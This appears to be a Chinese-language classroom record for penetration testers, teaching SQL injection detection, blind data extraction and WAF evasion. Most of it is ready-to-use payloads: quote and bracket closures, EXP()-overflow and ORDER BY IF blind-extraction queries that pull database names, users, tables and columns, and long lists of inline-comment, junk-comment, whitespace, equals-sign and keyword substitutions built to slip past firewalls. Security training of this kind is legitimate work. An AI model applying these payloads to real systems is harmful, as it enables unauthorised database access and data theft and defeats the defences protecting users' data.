适合人群:有SQL注入基础、想深入WAF绕过的渗透测试人员
前置知识:基本的SQL语法、HTTP请求理解
学习目标:掌握SQL注入从探测→提取→WAF绕过的完整体系
SQL注入 & WAF绕过 实战教学记录
授课人:pingsec
>
日期:2026-06-17
第一阶段:探测注入点
一、单引号闭合测试
最基本的检测方法
在参数后面加一个单引号 ',看响应变化:
?id=1 → 200 正常
?id=1' → 500 报错
?id=1'' → 200 正常
1' 报错说明单引号进入了 SQL 语句,破坏了原有的语法结构。1'' 恢复正常说明两个单引号闭合了前面的单引号,SQL 语法恢复完整 → 单引号闭合确认,注入存在。
二、双引号闭合测试
WAF 对双引号的检测通常比单引号弱 30-50%,如果单引号被拦了要试双引号:
?id=1" → 500 报错
?id=1"" → 200 正常
→ 双引号闭合确认
三、500≠500 原则
教学重点:
"一个单引号、两个单引号、三个单引号,均是接口 500 报错,不一定不存在注入,不一定都要回到 200 状态码。"
同样的 500 状态码,不一定是同一个原因:
?id=1' → 500(SQL 语法错误)
?id=1'' → 500(业务逻辑错误,SQL 已正常执行但参数值不对)
?id=1''' → 500(又是 SQL 语法错误)
不能因为 1' 和 1'' 都报 500 就判定不存在注入。 要结合报错内容和响应长度综合分析。
四、多闭合方式(24 种,不全用单引号)
单引号被 WAF 拦/被 HTML 实体编码/被 is_numeric() 过滤时,其他闭合方式可能完全不受限。每个参数至少试以下闭合:
1' → 单引号
1" → 双引号
1) → 右括号
1') → 单引号+右括号
1") → 双引号+右括号
1')) → 单引号+双右括号
1")) → 双引号+双右括号
不能只试了单引号没反应就放弃,至少试完以上 7 种。
五、字符型布尔逻辑检测(零关键字,WAF 最薄弱)
不用 AND/OR/UNION/SELECT 等任何 SQL 关键字,纯字符串逻辑判断注入。
?id=1'&&'1'='1 → 正常(TRUE)
?id=1'&&'1'='2 → 异常(FALSE)
→ 两条响应不同 = 100% 存在注入
原理:
'1'='1'是字符串等于字符串,永远为真'1'='2'是字符串等于字符串,永远为假- 中间的
&&不是AND,WAF 的 SQL 关键字正则匹配不到
为什么不建议用 OR:
"不建议用 OR 验证注入方法,容易造成删库,除非确定是查询功能。"
如果底层 SQL 是 DELETE 或 UPDATE:
DELETE FROM users WHERE id=1 OR 1=1 -- 全表删除!
UPDATE users SET pass='hack' WHERE id=1 OR 1=1 -- 全表改密码!
铁律:不确定 SQL 语句类型时,只用 &&,不用 OR。
六、数值型运算检测
不需要引号,纯数字运算验证注入:
?id=1/1 → 正常(1除以1等于1,结果有数据)
?id=1/0 → 报错(除零错误)
→ 参数被拼入数值表达式 = 数值型注入确认
数值型注入的好处:不需要引号闭合,即使 is_numeric() 过滤也能过(传的确实是数字),但 SQL 中做了数学运算。
七、EXP() 报错检测(零关键字,最快出结果)
?id=1' AND EXP(709)-- → 正常(709 不溢出)
?id=1' AND EXP(710)-- → 报错(710 溢出)
→ 两条不同 = 注入存在
原理:
EXP(709)的结果在 DOUBLE 类型范围内 → 不报错EXP(710)的结果超出 DOUBLE 上限 → 溢出报错EXP不是 SQL 注入关键词,WAF 不认识
八、JSON 格式参数的注入检测
背景
JSON 接口中参数有两种类型:
{"mid":1} ← int 类型,不带引号
{"mid":"1"} ← string 类型,带引号
如果 "mid":1 是 int 类型,注入的引号 ' 没办法直接加进去,会被 JSON 解析器拦截。
检测步骤
第一步:int 改成 string
{"mid":1} → 200 正常
{"mid":"1"} → 200 正常(改成 string,JSON 格式合法,SQL 里自动带引号)
第二步:加单引号
{"mid":"1'"} → 500 报错
{"mid":"1''"} → 500 报错
第三步:排除 JSONDecodeError
{"mid":1''} → JSONDecodeError
教学重点:
"mid":1''没有加双引号包裹,JSON 解析器直接报 JSONDecodeError——请求根本没到 SQL 层就被拦住了。必须"mid":"1''"这种 string 格式,JSON 解析才能通过,才能到达 SQL。
第四步:--+ 绕过 WAF
{"mid":"1'--+"} → 报错(FileNotFoundError 等业务报错,SQL 已执行)
--+ 是 --(SQL 注释)后面跟 +(URL 中相当于空格)。WAF 拦截 -- 但不拦截 --+。
第五步:延时确认
{"mid":"1' WAITFOR DELAY '0:0:5'--+"} → 响应延时 5 秒 → 注入确认,MSSQL 数据库
总结 JSON 注入链路:
{"mid":1} → int 类型,原始
{"mid":"1"} → 改成 string,获得引号
{"mid":"1'"} → 单引号注入
{"mid":"1'--+"} → --+ 过 WAF
{"mid":"1' WAITFOR DELAY '0:0:5'--+"} → MSSQL 延时确认
教学重点:
"如果是 JSON 格式注入,参数没有双引号,就给它添加双引号再测试。"
第二阶段:确认注入后提取数据
九、EXP() 溢出盲注
基本原理
EXP(709) → 709 或者以下不报错
EXP(710) → 大于 709 报错
通用布尔公式
EXP(710 - (条件))
- 条件 TRUE = 1 →
710 - 1 = 709→ 不报错 → 猜对了 - 条件 FALSE = 0 →
710 - 0 = 710→ 溢出报错 → 猜错了
全程零 SQL 关键字,WAF 看不懂这是在跑数据。
配合 LIKE 跑数据
EXP(710 - (database() LIKE 'D%'))
- 库名以 D 开头 →
LIKE 'D%'返回 TRUE=1 →710-1=709→ 不报错 → 库名以 D 开头! - 库名不以 D 开头 →
LIKE 'D%'返回 FALSE=0 →710-0=710→ 报错 → 猜错
逐个字符往后推:
EXP(710 - (database() LIKE 'Da%')) -- 库名前两个字符
EXP(710 - (database() LIKE 'Dat%')) -- 库名前三个字符
EXP(710 - (database() LIKE 'Data%')) -- 继续推
配合 ASCII 精确取值
EXP(710 - ascii(substr(current_user, 1, 1)))
substr()截取字符串的第 N 个字符ascii()把字符转成 ASCII 数字- 条件判断结合 EXP 溢出
教学重点:
"LIKE 用法:模糊查询、匹配内容。
select from users where username like 'jo%'返回 username 以 jo 开头的行。select from users where email like '%gmail.com'返回所有 email 以 gmail.com 结尾的行。"
十、抬杠法:2 请求精确一个字符
推导过程
已知 r 的 ASCII 码 = 114。
EXP(823 - ascii(current_user)) → 不报错
EXP(824 - ascii(current_user)) → 报错
数学验证
823 - x = 709 → x = 823 - 709 = 114
824 - x = 710 → x = 824 - 710 = 114
114 = ASCII 'r'
不报错说明 EXP(823 - 114) = EXP(709) 安全。报错说明 EXP(824 - 114) = EXP(710) 溢出。所以当前字符 ASCII = 114 = r。
通式
EXP((709 + N) - ascii(substr(data, i, 1))) → 不报错
EXP((710 + N) - ascii(substr(data, i, 1))) → 报错
→ 当前字符 = chr(N)
效率对比
| 方法 | 每字符请求数 |
|---|---|
| 二分法 | 5-7 次 |
| 抬杠法 | 2 次 |
十一、可提取的内容
-- 库名
EXP(710 - (database() LIKE 'D%'))
-- 当前用户名
EXP(710 - ascii(substr(current_user(), 1, 1)))
-- 表名
EXP(710 - ((SELECT table_name FROM information_schema.tables LIMIT 1) LIKE 'u%'))
-- 列名
EXP(710 - ((SELECT column_name FROM information_schema.columns LIMIT 1) LIKE 'p%'))
-- 版本
EXP(710 - (substr(version(), 1, 1) LIKE '5'))
第三阶段:WAF 绕过
十二、内联注释 /*! */
基本原理
MySQL 的专有语法:
/*!不写版本号 SQL代码 */ → MySQL 永远当作 SQL 执行
/*!50726 SQL代码 */ → MySQL ≥ 5.7.26 才执行
/*!99999 SQL代码 */ → MySQL 永远不执行(当前版本不可能到 99.9.99)
教学重点:
"比如版本号为 5.7.26,当
/!00000xxx/~/!50726xxx/里的注释内容都可以解析为 SQL 语句执行,而/!50727xxx/及以上的注释内容就真的被注释,失去作用。不加版本号也能用,加随机版本号绕过概率大。"
拆分关键字
/*!union*/ /*!select*/ 1,2,3
WAF 认为这是注释内容 → 不检测。MySQL 把里面的 union、select 当 SQL 执行。
内联注释当空格
union/*!50000*/select
/!50000/ 中间内容为空,效果等于一个空格。WAF 的 union\s+select 正则匹配不上(中间有内容),MySQL 解析出来是 union select。
教学重点:
"可以插入内联注释当作空格。"
拆分函数名和括号
原始: database()
拆分:
database(/*!44444*/) → 参数位塞内联
database/**/() → 函数名和括号之间加注释
database/**/(/*!*/) → 两边各加
database--%0a(%0a) → 行注释+换行当空格
database%23qwe%0a(%0a) → # + 随机字符串混淆
database%23qwe%0a(/*!44444*/) → # + 内联注释双混淆
database/*/111*111*/(/*!44444*/) → 脏数据+内联三混淆
拆分括号
select database/*!44444(*/)
select database/*!44444(*//*!44444)*/
select database/*/fasfa221213*%0a*//*!44444(*//*!44444)*/
教学重点:
(和)各自用内联注释/脏数据包住,WAF 的正则\w+\(匹配不到(。MySQL 照常解析。
拆分标识符(库名.表名)
information_schema.tables -- 原始
/*!information_schema*/./*!tables*/ -- 库和表分开
/*!information_schema*//*!.*//*!tables*/ -- 连 . 也入内联
/*!33333information_schema*//*!42222.*//*!44444tables*/ -- 每段不同版本号
教学重点:
每个段用不同随机版本号,WAF 想建模糊匹配规则完全没辙。
实战语句
id=1 /*!44444and*/ /*!444441*/=2--+ → AND 和数字入内联
id=1' /*!44444and*/ /*!2*/=2--+ → 字符型,AND 入内联
id=3'/*!44444and*/1=1--+ → 更简洁
id=-3/*!44444or*/1=1--+ → 负值 + OR 入内联
id=3 || -1=-1 --+ → || 代替 OR,-1=-1 恒真
id=1' like'1'='1 → like 代替 =,WAF 很少对 like 写规则
exp()、sleep() 等函数都可以用内联注释
exp(710) → 原始
exp/*!50000*/(710) → 内联当空格
exp/**/(710) → 普通注释
exp--%0a(710) → 行注释+换行
exp%23qwe%0a(710) → #+随机字符串
exp/*/111*111*/(710) → 脏数据
exp(/*!44444*/710) → 参数位内联
exp/*/222*333*/(/*!44444*/710) → 双位齐插
exp/*/asd%0a222*333*/(/*!44444*/710--%0a) → 三位全脏
sleep() 同理,函数名和 () 之间随便插。
十三、脏数据注释
核心结构
/*/ 脏数据 * 脏数据 */
插入位置规则
/ 1 * 2 / 3 * 4 * 5 /
│ │ │ │ │ │
└───┘ └───┘ └───┘
教学重点:
"3 和 4 随便插,1 和 5 不能插,2 尽量不要插。"
| 位置 | 区域 | 规则 |
|---|---|---|
| 1 | 注释开始 / | ❌ 不能插 |
| 2 | 注释内容 .../ | ⚠️ 尽量不要插 |
| 3 | / 后 / 前 | ✅ 随便插 |
| 4 | 注释内容 /... | ✅ 随便插 |
| 5 | 注释结束 / | ❌ 不能插 |
脏数据实例
/*///**/ → 套一层 // 和多出来的 *
/*/**/ → 嵌套注释,WAF 可能只剥一层
/*/*%0a*/ → 换行打断 WAF 的 .* 单行匹配
/*%0a/*%0a*/ → 双层换行嵌套 /* */
/*%0a/%091231**/ → Tab + 随机数字 + 双星号
/*%0a/fasfa221213*%0a*/ → 随机字符串 + 换行 + 内部 *
/*/fasfa221ss%0a213*%0a*/ → 开头 /*/ 让 WAF 误判注释边界
为什么有效
- WAF 用正则
/\.?\*/匹配注释 .默认不匹配换行符\n- 插入
%0a(换行)后正则断裂 - MySQL 逐字节解析,遇到
*/关注释,前面全当垃圾忽略
每请求换一组随机字符串 → WAF 无法建特征签名
教学重点:
"注释结合脏数据:越恶心越能绕过 WAF。"
>
"绕不过插入脏数据,越恶心越能绕过 WAF。"
十四、空格替代(15 种)
教学重点:
"代替空格:%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/ --%0a --ABC%0a(access) %23%0a %23qwe%0a %23😀%0A"
%20 → 标准空格(全平台)
%09 → Tab(全平台)
%0a → 换行(MySQL/MSSQL)
%0b → 垂直Tab(MySQL 专杀,WAF 黑名单常漏)
%0c → 换页符(MySQL,同样常漏)
%0d → 回车(MySQL/MSSQL)
%a0 → 不间断空格(Oracle)
%00 → NULL截断(MSSQL/Access)
/**/ → 普通注释(MySQL)
/*!*/ → 内联注释空内容(MySQL)
--%0a → 行注释+换行(MySQL/MSSQL)
--ABC%0a → 任意字符+换行(Access)
%23%0a → #注释+换行(MySQL)
%23qwe%0a → #+随机字符串+换行(MySQL)
%23😀%0A → #+emoji+换行(MySQL)
最有用的冷门空格:%0b(MySQL 垂直 Tab),大部分 WAF 的空格黑名单只写 %20 %09 %0a %0d,漏掉 %0b 和 %0c。
十五、等号替代(7 种)
教学重点:
"代替等号:
?id=1' and '1'regexp'1、?id=1''1'regexp'1、?id=1' and '1'<>'2"
= → 原始等号,WAF 盯得最紧
regexp → 正则匹配,'1' regexp '1' = TRUE
<> → 不等于,'1'<>'2' = TRUE
like → 模糊匹配,'1' like '1' = TRUE
between → 范围,1 between 1 and 1 = TRUE
in → 集合,1 in (1) = TRUE
strcmp() → 字符串比较,strcmp('1','1')=0 表示相等
> / < → 大小比较,ascii(x)>100
十六、关键字/函数替换(8 组)
教学重点:
"关键字替换绕过:user() 替换 current_user、sleep() 替换 BENCHMARK()、order by 替换 group by、and updatexml 替换 and-updatexml、concat() 替换 concat_ws()、and 替换 &&"
被拦截 → 替换为
user() → current_user, session_user(), system_user()
sleep(N) → BENCHMARK(N*1000000, md5(1))
order by → group by
updatexml() → extractvalue()
concat() → concat_ws('分隔符', a,b), group_concat()
and → &&
or → ||
database() → schema()
第四阶段:预编译盲区
十七、ORDER BY / LIKE / IN 不可能参数化
教学重点:
"排序注入不可能存在预编译。order by、like、in"
| 子句 | 为什么不能参数化 | 典型参数 |
|---|---|---|
| ORDER BY | 占位符只能绑值,不能绑列名/排序方向 | ?sort=id / ?order=asc |
| LIKE | LIKE ? 通配符 % 在值里不生效,必须拼 SQL | ?keyword=test |
| IN | IN (?) 只能传单个值,多值必须拼 | ?ids=1,2,3 |
| GROUP BY | 同 ORDER BY,列名不能占位符 | ?group=name |
| LIMIT | MySQL LIMIT 不支持占位符 | ?limit=10 |
遇到这些参数 → 天然疑似注入 → 必须深挖。
第五阶段:排序注入
十八、用 rand() 检测排序注入
教学重点:
"正确判断排序注入的方法是使用 rand()。order by rand()"
?sort=rand() → 刷新页面,结果顺序每次都不同 → rand() 被拼入 ORDER BY → 注入确认!
教学重点:
"通过 rand() 如果返回出现了变化,说明使用了 ORDER BY 进行排序。"
rand() 同时确认两件事:
- 参数直接拼 SQL(不是预编译)
- 拼接位置是 ORDER BY 子句
ORDER BY 绕不过用 GROUP BY
教学重点:
"ORDER BY 和内联注释结合绕不过,可以使用 GROUP BY。"
GROUP BY 1--+
GROUP/*!*/BY 1--+
十九、排序注入跑数据
布尔型
ORDER BY IF(database() LIKE 's%', username, password)
- TRUE → 按 username 列排序 → 页面看到按用户名排
- FALSE → 按 password 列排序 → 页面看到按密码排
- 观察排序结果变化 → 知道猜对没
时间型
ORDER BY IF(database() LIKE 's%', sleep(3), password)
- TRUE → sleep(3) → 等 3 秒
- FALSE → 不等
- 看响应时间 → 知道猜对没
报错型
ORDER BY updatexml(1, IF(1=2, 1, user()), 1)
- FALSE →
updatexml(1, user(), 1)→ user() 不是有效 XPath → 直接报错回显用户名 - TRUE →
updatexml(1, 1, 1)→ 正常
第六阶段:安全铁律
教学重点:
"不建议用 OR 验证注入方法,容易造成删库,除非确定是查询功能。"
"谨慎使用 OR 和注释闭合导致的删库。"
- 禁用 OR — 不确定 SQL 类型时只用
&&/EXP/LIKE/IF - 零副作用优先 —
'1'&&'1'='1、EXP(710)、rand()纯读无写 - 注释闭合谨慎 —
--+/#必须在确认闭合正确后加,否则可能注释掉后续安全条件
完整攻击链路
┌──────────────────┐
│ 1. 探测注入点 │
│ │
│ ' / " 闭合 │
│ '1'&&'1' 布尔 │
│ 1/0 数值 │
│ EXP(710) 溢出 │
│ rand() 探针 │
│ JSON int→string │
│ 六种闭合一把梭 │
│ 500≠500 分析 │
└────────┬─────────┘
│
┌────────▼─────────┐
│ 2. 确认注入存在 │
│ │
│ 状态码变化 │
│ 报错内容变化 │
│ 延时确认 │
│ --+ WAF绕过 │
└────────┬─────────┘
│
┌────────▼─────────┐
│ 3. 提取数据 │
│ │
│ EXP+LIKE 跑库名 │
│ EXP+ASCII 字符 │
│ 抬杠法 2请求 │
│ ORDER BY IF │
│ updatexml 报错 │
│ substring 遍历 │
└────────┬─────────┘
│
┌────────▼─────────┐
│ 4. 绕过WAF防护 │
│ │
│ 内联注释 /*!*/ │
│ 脏数据注释 │
│ 空格替代 15种 │
│ 等号替代 7种 │
│ 关键字替换 8组 │
│ 函数名拆分 │
│ 括号拆分 │
│ HPP参数污染 │
└──────────────────┘
核心原则
- 一个单引号、两个单引号全报 500 ≠ 不存在注入
- JSON 参数没有双引号 → 添加双引号再测试
- 用 &&/EXP/LIKE/rand() 验证,禁用 OR
- 遇 WAF → 插脏数据,越恶心越能过
- 预编译不管 ORDER BY/LIKE/IN,天然注入点
- 遇 WAF 不放弃,至少试 10 种绕过
- 每步自己选最优方案,不要停